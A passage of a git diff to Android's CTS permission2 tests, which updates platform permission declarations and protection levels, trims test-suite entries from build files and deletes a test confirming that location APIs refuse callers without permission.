android_test_helper_app {
name: "CtsStoragePermissionsUserDefaultSdk28",
defaults: ["cts_defaults"],
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
index eb77c12..53086d3 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
@@ -19,11 +19,4 @@
defaults: ["cts_defaults"],
sdk_version: "current",
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
index b7f40bf..843176f 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
@@ -17,11 +17,4 @@
android_test_helper_app {
name: "CtsStoragePermissionsUserOptInSdk22",
defaults: ["cts_defaults"],
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
index 63062c1..c0b5fd6 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
@@ -17,11 +17,4 @@
android_test_helper_app {
name: "CtsStoragePermissionsUserOptInSdk28",
defaults: ["cts_defaults"],
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
index 9d6a481..e1a43da 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
@@ -19,11 +19,4 @@
defaults: ["cts_defaults"],
sdk_version: "current",
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- "cts_instant",
- ]
}
\ No newline at end of file
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 436db62..d5af14d 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -102,9 +102,6 @@
<protected-broadcast android:name="android.os.action.POWER_SAVE_TEMP_WHITELIST_CHANGED" />
<protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGED_INTERNAL" />
- <!-- @deprecated This is rarely used and will be phased out soon. -->
- <protected-broadcast android:name="android.os.action.SCREEN_BRIGHTNESS_BOOST_CHANGED" />
-
<protected-broadcast android:name="android.app.action.ENTER_CAR_MODE" />
<protected-broadcast android:name="android.app.action.EXIT_CAR_MODE" />
<protected-broadcast android:name="android.app.action.ENTER_CAR_MODE_PRIORITIZED" />
@@ -377,7 +374,7 @@
<protected-broadcast android:name="android.net.wifi.p2p.THIS_DEVICE_CHANGED" />
<protected-broadcast android:name="android.net.wifi.p2p.PEERS_CHANGED" />
<protected-broadcast android:name="android.net.wifi.p2p.CONNECTION_STATE_CHANGE" />
- <protected-broadcast android:name="android.net.wifi.p2p.PERSISTENT_GROUPS_CHANGED" />
+ <protected-broadcast android:name="android.net.wifi.p2p.action.WIFI_P2P_PERSISTENT_GROUPS_CHANGED" />
<protected-broadcast android:name="android.net.conn.TETHER_STATE_CHANGED" />
<protected-broadcast android:name="android.net.conn.INET_CONDITION_ACTION" />
<protected-broadcast android:name="android.net.conn.NETWORK_CONDITIONS_MEASURED" />
@@ -1209,6 +1206,15 @@
android:description="@string/permdesc_camera"
android:protectionLevel="dangerous|instant" />
+ <!-- @SystemApi Required in addition to android.permission.CAMERA to be able to access
+ system only camera devices.
+ <p>Protection level: system|signature
+ @hide -->
+ <permission android:name="android.permission.SYSTEM_CAMERA"
+ android:permissionGroup="android.permission-group.UNDEFINED"
+ android:label="@string/permlab_systemCamera"
+ android:description="@string/permdesc_systemCamera"
+ android:protectionLevel="system|signature" />
<!-- ====================================================================== -->
<!-- Permissions for accessing the device sensors -->
@@ -1525,18 +1531,6 @@
<permission android:name="android.permission.OVERRIDE_WIFI_CONFIG"
android:protectionLevel="signature|privileged" />
- <!-- @hide -->
- <permission android:name="android.permission.ACCESS_WIMAX_STATE"
- android:description="@string/permdesc_accessWimaxState"
- android:label="@string/permlab_accessWimaxState"
- android:protectionLevel="normal" />
-
- <!-- @hide -->
- <permission android:name="android.permission.CHANGE_WIMAX_STATE"
- android:description="@string/permdesc_changeWimaxState"
- android:label="@string/permlab_changeWimaxState"
- android:protectionLevel="normal" />
-
<!-- Allows applications to act as network scorers. @hide @SystemApi-->
<permission android:name="android.permission.SCORE_NETWORKS"
android:protectionLevel="signature|privileged" />
@@ -1567,7 +1561,15 @@
@hide This should only be used by Settings and SystemUI.
-->
<permission android:name="android.permission.NETWORK_SETTINGS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|telephony" />
+
+ <!-- Allows holder to request bluetooth/wifi scan bypassing global "use location" setting and
+ location permissions.
+ <p>Not for use by third-party or privileged applications.
+ @hide
+ -->
+ <permission android:name="android.permission.RADIO_SCAN_WITHOUT_LOCATION"
+ android:protectionLevel="signature|companion" />
<!-- Allows SetupWizard to call methods in Networking services
<p>Not for use by any other third-party or privileged applications.
@@ -1614,12 +1616,6 @@
<permission android:name="android.permission.MANAGE_LOWPAN_INTERFACES"
android:protectionLevel="signature|privileged" />
- <!-- @hide Allows internal management of Wi-Fi connectivity state when on
- wireless consent mode.
- <p>Not for use by third-party applications. -->
- <permission android:name="android.permission.MANAGE_WIFI_WHEN_WIRELESS_CONSENT_REQUIRED"
- android:protectionLevel="signature" />
-
<!-- #SystemApi @hide Allows an app to bypass Private DNS.
<p>Not for use by third-party applications.
TODO: publish as system API in next API release. -->
@@ -1969,7 +1965,7 @@
<eat-comment />
<!-- @SystemApi Allows granting runtime permissions to telephony related components.
- @hide Used internally. -->
+ @hide -->
<permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS_TO_TELEPHONY_DEFAULTS"
android:protectionLevel="signature|telephony" />
@@ -2111,7 +2107,7 @@
@hide
-->
<permission android:name="android.permission.BIND_TELEPHONY_DATA_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|telephony" />
<!-- Must be required by a NetworkService to ensure that only the
system can bind to it.
@@ -2136,7 +2132,7 @@
@hide
-->
<permission android:name="android.permission.BIND_EUICC_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|telephony" />
<!-- ================================== -->
<!-- Permissions for sdcard interaction -->
@@ -2157,6 +2153,14 @@
<permission android:name="android.permission.MANAGE_DOCUMENTS"
android:protectionLevel="signature|documenter" />
+ <!-- Allows an application to manage access to crates, usually as part
+ of a crates picker.
+ @hide
+ @TestApi
+ -->
+ <permission android:name="android.permission.MANAGE_CRATES"
+ android:protectionLevel="signature" />
+
<!-- @hide Allows an application to cache content.
<p>Not for use by third-party applications.
-->
@@ -2242,7 +2246,7 @@
types of interactions
@hide -->
<permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"
- android:protectionLevel="signature|installer" />
+ android:protectionLevel="signature|installer|telephony" />
<!-- @SystemApi Allows an application to start its own activities, but on a different profile
associated with the user. For example, an application running on the main profile of a user
@@ -2864,6 +2868,11 @@
<!-- Allows an application to be the status bar. Currently used only by SystemUI.apk
@hide -->
<permission android:name="android.permission.STATUS_BAR_SERVICE"
+ android:protectionLevel="signature|telephony" />
+
+ <!-- Allows an application to trigger bugreports via the shell app (which uses bugreport API)
+ @hide -->
+ <permission android:name="android.permission.TRIGGER_SHELL_BUGREPORT"
android:protectionLevel="signature" />
<!-- Allows an application to bind to third party quick settings tiles.
@@ -2872,6 +2881,14 @@
<permission android:name="android.permission.BIND_QUICK_SETTINGS_TILE"
android:protectionLevel="signature" />
+ <!-- Allows SystemUI to request third party controls.
+ <p>Should only be requested by the System and required by
+ ControlsService declarations.
+ @hide
+ -->
+ <permission android:name="android.permission.BIND_CONTROLS"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allows an application to force a BACK operation on whatever is the
top activity.
<p>Not for use by third-party applications.
@@ -2914,7 +2931,7 @@
@hide
-->
<permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|telephony" />
<!-- @SystemApi Allows an application to use
{@link android.view.WindowManager.LayoutsParams#SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
@@ -2991,7 +3008,7 @@
@hide
-->
<permission android:name="android.permission.SET_ACTIVITY_WATCHER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|telephony" />
<!-- @SystemApi Allows an application to call the activity manager shutdown() API
to put the higher-level system there into a shutdown state.
@@ -3210,13 +3227,6 @@
<permission android:name="android.permission.BIND_TV_INPUT"
android:protectionLevel="signature|privileged" />
- <!-- Must be required by an {@link android.service.sms.FinancialSmsService}
- to ensure that only the system can bind to it.
- @hide This is not a third-party API (intended for OEMs and system apps).
- -->
- <permission android:name="android.permission.BIND_FINANCIAL_SMS_SERVICE"
- android:protectionLevel="signature" />
-
<!-- @SystemApi
Must be required by a {@link com.android.media.tv.remoteprovider.TvRemoteProvider}
to ensure that only the system can bind to it.
@@ -3469,6 +3479,13 @@
<permission android:name="android.permission.GET_RUNTIME_PERMISSIONS"
android:protectionLevel="signature" />
+ <!-- @SystemApi Allows the system to restore runtime permission state. This might grant
+ permissions, hence this is a more scoped, less powerful variant of GRANT_RUNTIME_PERMISSIONS.
+ Among other restrictions this cannot override user choices.
+ @hide -->
+ <permission android:name="android.permission.RESTORE_RUNTIME_PERMISSIONS"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allows an application to change policy_fixed permissions.
@hide -->
<permission android:name="android.permission.ADJUST_RUNTIME_PERMISSIONS_POLICY"
@@ -3485,15 +3502,21 @@
android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to manage the holders of a role.
- @hide -->
+ @hide
+ STOPSHIP b/145526313: Remove wellbeing protection flag from MANAGE_ROLE_HOLDERS. -->
<permission android:name="android.permission.MANAGE_ROLE_HOLDERS"
- android:protectionLevel="signature|installer" />
+ android:protectionLevel="signature|installer|telephony|wellbeing" />
<!-- @SystemApi Allows an application to observe role holder changes.
@hide -->
<permission android:name="android.permission.OBSERVE_ROLE_HOLDERS"
android:protectionLevel="signature|installer" />
+ <!-- Allows an application to manage the companion devices.
+ @hide -->
+ <permission android:name="android.permission.MANAGE_COMPANION_DEVICES"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
<p>Not for use by third-party applications.
@hide
@@ -3693,7 +3716,7 @@
@hide
-->
<permission android:name="android.permission.DEVICE_POWER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|telephony" />
<!-- Allows toggling battery saver on the system.
Superseded by DEVICE_POWER permission. @hide @SystemApi
@@ -3728,13 +3751,13 @@
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.BROADCAST_SMS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|telephony" />
<!-- Allows an application to broadcast a WAP PUSH receipt notification.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.BROADCAST_WAP_PUSH"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|telephony" />
<!-- @SystemApi Allows an application to broadcast privileged networking requests.
<p>Not for use by third-party applications.
@@ -4253,7 +4276,7 @@
broadcast module. This is required in order to bind to the cell broadcast service, and
ensures that only the system can forward messages to it.
- <p>Protection level: signature
+ <p>Protection level: signature|privileged
@hide -->
<permission android:name="android.permission.BIND_CELL_BROADCAST_SERVICE"
@@ -4357,6 +4380,12 @@
<permission android:name="android.permission.MANAGE_SOUND_TRIGGER"
android:protectionLevel="signature|privileged" />
+ <!-- Allows preempting sound trigger recognitions for the sake of capturing audio on
+ implementations which do not support running both concurrently.
+ @hide -->
+ <permission android:name="android.permission.PREEMPT_SOUND_TRIGGER"
+ android:protectionLevel="signature|privileged" />
+
<!-- Must be required by system/priv apps implementing sound trigger detection services
@hide
@SystemApi -->
@@ -4373,13 +4402,13 @@
{@link android.provider.BlockedNumberContract}.
@hide -->
<permission android:name="android.permission.READ_BLOCKED_NUMBERS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|telephony" />
<!-- Allows the holder to write blocked numbers. See
{@link android.provider.BlockedNumberContract}.
@hide -->
<permission android:name="android.permission.WRITE_BLOCKED_NUMBERS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|telephony" />
<!-- Must be required by an {@link android.service.vr.VrListenerService}, to ensure that only
the system can bind to it.
@@ -4462,12 +4491,12 @@
<!-- @SystemApi Allows to access all app shortcuts.
@hide -->
<permission android:name="android.permission.ACCESS_SHORTCUTS"
- android:protectionLevel="signature|textClassifier" />
+ android:protectionLevel="signature|appPredictor" />
<!-- @SystemApi Allows unlimited calls to shortcut mutation APIs.
@hide -->
<permission android:name="android.permission.UNLIMITED_SHORTCUTS_API_CALLS"
- android:protectionLevel="signature|textClassifier" />
+ android:protectionLevel="signature|appPredictor" />
<!-- @SystemApi Allows an application to read the runtime profiles of other apps.
@hide <p>Not for use by third-party applications. -->
@@ -4479,9 +4508,9 @@
android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to turn on / off quiet mode.
- @hide <p>Not for use by third-party applications. -->
+ @hide -->
<permission android:name="android.permission.MODIFY_QUIET_MODE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged|wellbeing" />
<!-- Allows internal management of the camera framework
@hide -->
@@ -4527,10 +4556,17 @@
<permission android:name="android.permission.BIND_EXPLICIT_HEALTH_CHECK_SERVICE"
android:protectionLevel="signature|privileged" />
+ <!-- @SystemApi Must be required by an {@link android.service.storage.ExternalStorageService} to
+ ensure that only the system can bind to it.
+ @hide This is not a third-party API (intended for OEMs and system apps).
+ -->
+ <permission android:name="android.permission.BIND_EXTERNAL_STORAGE_SERVICE"
+ android:protectionLevel="signature" />
+
<!-- @hide Permission that allows configuring appops.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.MANAGE_APPOPS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|telephony" />
<!-- @hide Permission that allows background clipboard access.
<p>Not for use by third-party applications. -->
@@ -4548,6 +4584,12 @@
<permission android:name="android.permission.GRANT_PROFILE_OWNER_DEVICE_IDS_ACCESS"
android:protectionLevel="signature" />
+ <!-- Allows an app to set profile owner as managing an organization-owned device.
+ <p>Not for use by third-party applications.
+ @hide -->
+ <permission android:name="android.permission.MARK_DEVICE_ORGANIZATION_OWNED"
+ android:protectionLevel="signature" />
+
<!-- Allows financial apps to read filtered sms messages. -->
<permission android:name="android.permission.SMS_FINANCIAL_TRANSACTIONS"
android:protectionLevel="signature|appop" />
@@ -4601,6 +4643,24 @@
<permission android:name="android.permission.MONITOR_INPUT"
android:protectionLevel="signature" />
+ <!-- Allows query of any normal app on the device, regardless of manifest declarations. -->
+ <permission android:name="android.permission.QUERY_ALL_PACKAGES"
+ android:protectionLevel="normal" />
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+
+ <!-- @hide Allow the caller to collect debugging data from processes that otherwise
+ would require USAGE_STATS. Before sharing this data with other apps, holders
+ of this permission are REQUIRED to themselves check that the caller has
+ PACKAGE_USAGE_STATS and OP_GET_USAGE_STATS. -->
+ <permission android:name="android.permission.PEEK_DROPBOX_DATA"
+ android:protectionLevel="signature" />
+
+ <!-- @SystemApi Allows an application to access TV tuner HAL
+ <p>Not for use by third-party applications.
+ @hide -->
+ <permission android:name="android.permission.ACCESS_TV_TUNER"
+ android:protectionLevel="signature|privileged" />
+
<application android:process="system"
android:persistent="true"
android:hasCode="false"
diff --git a/tests/tests/permission2/src/android/permission2/cts/NoLocationPermissionTest.java b/tests/tests/permission2/src/android/permission2/cts/NoLocationPermissionTest.java
deleted file mode 100644
index 2301980..0000000
--- a/tests/tests/permission2/src/android/permission2/cts/NoLocationPermissionTest.java
+++ /dev/null
@@ -1,451 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.permission2.cts;
-
-import android.app.PendingIntent;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.os.Bundle;
-import android.os.Looper;
-import android.telephony.CellInfo;
-import android.telephony.CellLocation;
-import android.telephony.PhoneStateListener;
-import android.telephony.TelephonyManager;
-import android.test.InstrumentationTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
-import android.test.UiThreadTest;
-
-import java.util.List;
-
-/**
- * Verify the location access without specific permissions.
- */
-public class NoLocationPermissionTest extends InstrumentationTestCase {
- private static final String TEST_PROVIDER_NAME = "testProvider";
-
- private LocationManager mLocationManager;
- private List<String> mAllProviders;
- private boolean mHasTelephony;
- private Context mContext;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mContext = getInstrumentation().getTargetContext();
- mLocationManager = (LocationManager) mContext.getSystemService(
- Context.LOCATION_SERVICE);
- mAllProviders = mLocationManager.getAllProviders();
- mHasTelephony = mContext.getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_TELEPHONY);
-
- assertNotNull(mLocationManager);
- assertNotNull(mAllProviders);
- }
-
- private boolean isKnownLocationProvider(String provider) {
- return mAllProviders.contains(provider);
- }
-
- /**
- * Verify that listen or get cell location requires permissions.
- * <p>
- * Requires Permission: {@link
- * android.Manifest.permission#ACCESS_FINE_LOCATION}
- */
- @UiThreadTest
- public void testListenCellLocation() {
- if (!mHasTelephony) {
- return;
- }
-
- TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
- Context.TELEPHONY_SERVICE);
- PhoneStateListener phoneStateListener = new PhoneStateListener() {
- @Override
- public void onCellLocationChanged(CellLocation location) {
- if (location != null) {
- fail("Test process should not have received CellLocation");
- }
- }
-
- };
- try {
- telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_CELL_LOCATION);
- } catch (SecurityException e) {
- // expected
- }
-
- try {
- CellLocation cellLocation = telephonyManager.getCellLocation();
- if (cellLocation != null) {
- fail("Test process should not have gotten a nonnull value from getCellLocation.");
- }
- } catch (SecurityException e) {
- // expected
- }
- }
-
- /**
- * Verify that get cell location requires permissions.
- * <p>
- * Requires Permission: {@link
- * android.Manifest.permission#ACCESS_FINE_LOCATION}
- */
- @UiThreadTest
- public void testListenCellLocation2() {
- if (!mHasTelephony) {
- return;
- }
-
- TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
- Context.TELEPHONY_SERVICE);
- try {
- List<CellInfo> cellInfos = telephonyManager.getAllCellInfo();
- if (cellInfos != null && cellInfos.size() > 0) {
- fail("Test process should not have received CellInfo");
- }
- } catch (SecurityException e) {
- // expected
- }
-
- try {
- telephonyManager.requestCellInfoUpdate(mContext.getMainExecutor(),
- new TelephonyManager.CellInfoCallback() {
- @Override
- public void onCellInfo(List<CellInfo> cellInfos) {
- if (cellInfos != null && cellInfos.size() > 0) {
- fail("Test process should not have received CellInfo");
- }
- }
- });
- } catch (SecurityException e) {
- // expected
- }
- }
-
- /**
- * Helper method to verify that calling requestLocationUpdates with given
- * provider throws SecurityException.
- *
- * @param provider the String provider name.
- */
- private void checkRequestLocationUpdates(String provider) {
- if (!isKnownLocationProvider(provider)) {
- // skip this test if the provider is unknown
- return;
- }
-
- LocationListener mockListener = new MockLocationListener();
- Looper looper = Looper.myLooper();
- try {
- mLocationManager.requestLocationUpdates(provider, 0, 0, mockListener);
- fail("LocationManager.requestLocationUpdates did not" +
- " throw SecurityException as expected");
- } catch (SecurityException e) {
- // expected
- }
-
- try {
- mLocationManager.requestLocationUpdates(provider, 0, 0, mockListener, looper);
- fail("LocationManager.requestLocationUpdates did not" +
- " throw SecurityException as expected");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- /**
- * Verify that listening for network requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
- */
- @UiThreadTest
- public void testRequestLocationUpdatesNetwork() {
- checkRequestLocationUpdates(LocationManager.NETWORK_PROVIDER);
- }
-
- /**
- * Verify that listening for GPS location requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
- */
- @UiThreadTest
- public void testRequestLocationUpdatesGps() {
- checkRequestLocationUpdates(LocationManager.GPS_PROVIDER);
- }
-
- /**
- * Verify that adding a proximity alert requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
- */
- @SmallTest
- public void testAddProximityAlert() {
- PendingIntent mockPendingIntent = PendingIntent.getBroadcast(mContext,
- 0, new Intent("mockIntent"), PendingIntent.FLAG_ONE_SHOT);
- try {
- mLocationManager.addProximityAlert(0, 0, 100, -1, mockPendingIntent);
- fail("LocationManager.addProximityAlert did not throw SecurityException as expected");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- /**
- * Helper method to verify that calling getLastKnownLocation with given
- * provider throws SecurityException.
- *
- * @param provider the String provider name.
- */
- private void checkGetLastKnownLocation(String provider) {
- if (!isKnownLocationProvider(provider)) {
- // skip this test if the provider is unknown
- return;
- }
-
- try {
- mLocationManager.getLastKnownLocation(provider);
- fail("LocationManager.getLastKnownLocation did not" +
- " throw SecurityException as expected");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- /**
- * Verify that getting the last known GPS location requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
- */
- @SmallTest
- public void testGetLastKnownLocationGps() {
- checkGetLastKnownLocation(LocationManager.GPS_PROVIDER);
- }
-
- /**
- * Verify that getting the last known network location requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
- */
- @SmallTest
- public void testGetLastKnownLocationNetwork() {
- checkGetLastKnownLocation(LocationManager.NETWORK_PROVIDER);
- }
-
- /**
- * Helper method to verify that calling getProvider with given provider
- * throws SecurityException.
- *
- * @param provider the String provider name.
- */
- private void checkGetProvider(String provider) {
- if (!isKnownLocationProvider(provider)) {
- // skip this test if the provider is unknown
- return;
- }
-
- try {
- mLocationManager.getProvider(provider);
- fail("LocationManager.getProvider did not throw SecurityException as expected");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- /**
- * Verify that getting the GPS provider requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
- */
- @SmallTest
- public void testGetProviderGps() {
- checkGetProvider(LocationManager.GPS_PROVIDER);
- }
-
- /**
- * Verify that getting the network provider requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_COARSE_LOCATION}.
- */
- // TODO: remove from small test suite until network provider can be enabled
- // on test devices
- // @SmallTest
- public void testGetProviderNetwork() {
- checkGetProvider(LocationManager.NETWORK_PROVIDER);
- }
-
- /**
- * Helper method to verify that calling
- * {@link LocationManager#isProviderEnabled(String)} with given
- * provider completes without an exception. (Note that under the conditions
- * of these tests, that method threw SecurityException on OS levels before
- * {@link android.os.Build.VERSION_CODES#LOLLIPOP}. See the method's javadoc for
- * details.)
- *
- * @param provider the String provider name.
- */
- private void checkIsProviderEnabled(String provider) {
- if (!isKnownLocationProvider(provider)) {
- // skip this test if the provider is unknown
- return;
- }
- mLocationManager.isProviderEnabled(provider);
- }
-
- /**
- * Verify that checking IsProviderEnabled for GPS requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
- */
- @SmallTest
- public void testIsProviderEnabledGps() {
- checkIsProviderEnabled(LocationManager.GPS_PROVIDER);
- }
-
- /**
- * Verify that checking IsProviderEnabled for network requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
- */
- @SmallTest
- public void testIsProviderEnabledNetwork() {
- checkIsProviderEnabled(LocationManager.NETWORK_PROVIDER);
- }
-
- /**
- * Verify that checking addTestProvider for network requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_MOCK_LOCATION}.
- */
- @SmallTest
- public void testAddTestProvider() {
- final int TEST_POWER_REQUIREMENT_VALE = 0;
- final int TEST_ACCURACY_VALUE = 1;
-
- try {
- mLocationManager.addTestProvider(TEST_PROVIDER_NAME, true, true, true, true,
- true, true, true, TEST_POWER_REQUIREMENT_VALE, TEST_ACCURACY_VALUE);
- fail("LocationManager.addTestProvider did not throw SecurityException as expected");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- /**
- * Verify that checking removeTestProvider for network requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_MOCK_LOCATION}.
- */
- @SmallTest
- public void testRemoveTestProvider() {
- try {
- mLocationManager.removeTestProvider(TEST_PROVIDER_NAME);
- fail("LocationManager.removeTestProvider did not throw SecurityException as"
- + " expected");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- /**
- * Verify that checking setTestProviderLocation for network requires
- * permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_MOCK_LOCATION}.
- */
- @SmallTest
- public void testSetTestProviderLocation() {
- Location location = new Location(TEST_PROVIDER_NAME);
- location.makeComplete();
-
- try {
- mLocationManager.setTestProviderLocation(TEST_PROVIDER_NAME, location);
- fail("LocationManager.setTestProviderLocation did not throw SecurityException as"
- + " expected");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- /**
- * Verify that checking setTestProviderEnabled requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_MOCK_LOCATION}.
- */
- @SmallTest
- public void testSetTestProviderEnabled() {
- try {
- mLocationManager.setTestProviderEnabled(TEST_PROVIDER_NAME, true);
- fail("LocationManager.setTestProviderEnabled did not throw SecurityException as"
- + " expected");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- /**
- * Verify that checking clearTestProviderEnabled requires permissions.
- * <p>
- * Requires Permission:
- * {@link android.Manifest.permission#ACCESS_MOCK_LOCATION}.
- */
- @SmallTest
- public void testClearTestProviderEnabled() {
- try {
- mLocationManager.clearTestProviderEnabled(TEST_PROVIDER_NAME);
- fail("LocationManager.setTestProviderEnabled did not throw SecurityException as"
- + " expected");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- private static class MockLocationListener implements LocationListener {
- public void onLocationChanged(Location location) {
- // ignore
- }
-
- public void onProviderDisabled(String provider) {
- // ignore
- }
-
- public void onProviderEnabled(String provider) {
- // ignore
- }
-
- public void onStatusChanged(String provider, int status, Bundle extras) {
- // ignore
- }
- }
-}
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 9e09a7b..7d6efa7 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -402,6 +402,12 @@
case "runtime": {
protectionLevel |= PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY;
} break;
+ case "telephony": {
+ protectionLevel |= PermissionInfo.PROTECTION_FLAG_TELEPHONY;
+ } break;
+ case "companion": {
+ protectionLevel |= PermissionInfo.PROTECTION_FLAG_COMPANION;
+ } break;
}
}
return protectionLevel;
diff --git a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
index 4195add..3df5b89 100644
--- a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
@@ -65,7 +65,7 @@
"android.net.wifi.p2p.THIS_DEVICE_CHANGED",
"android.net.wifi.p2p.PEERS_CHANGED",
"android.net.wifi.p2p.CONNECTION_STATE_CHANGE",
- "android.net.wifi.p2p.PERSISTENT_GROUPS_CHANGED",
+ "android.net.wifi.p2p.action.WIFI_P2P_PERSISTENT_GROUPS_CHANGED",
"android.net.conn.TETHER_STATE_CHANGED",
"android.net.conn.INET_CONDITION_ACTION",
"android.net.conn.CAPTIVE_PORTAL_TEST_COMPLETED",
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
index 970bf6a..7085078 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
@@ -16,6 +16,8 @@
package android.permission2.cts;
+import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
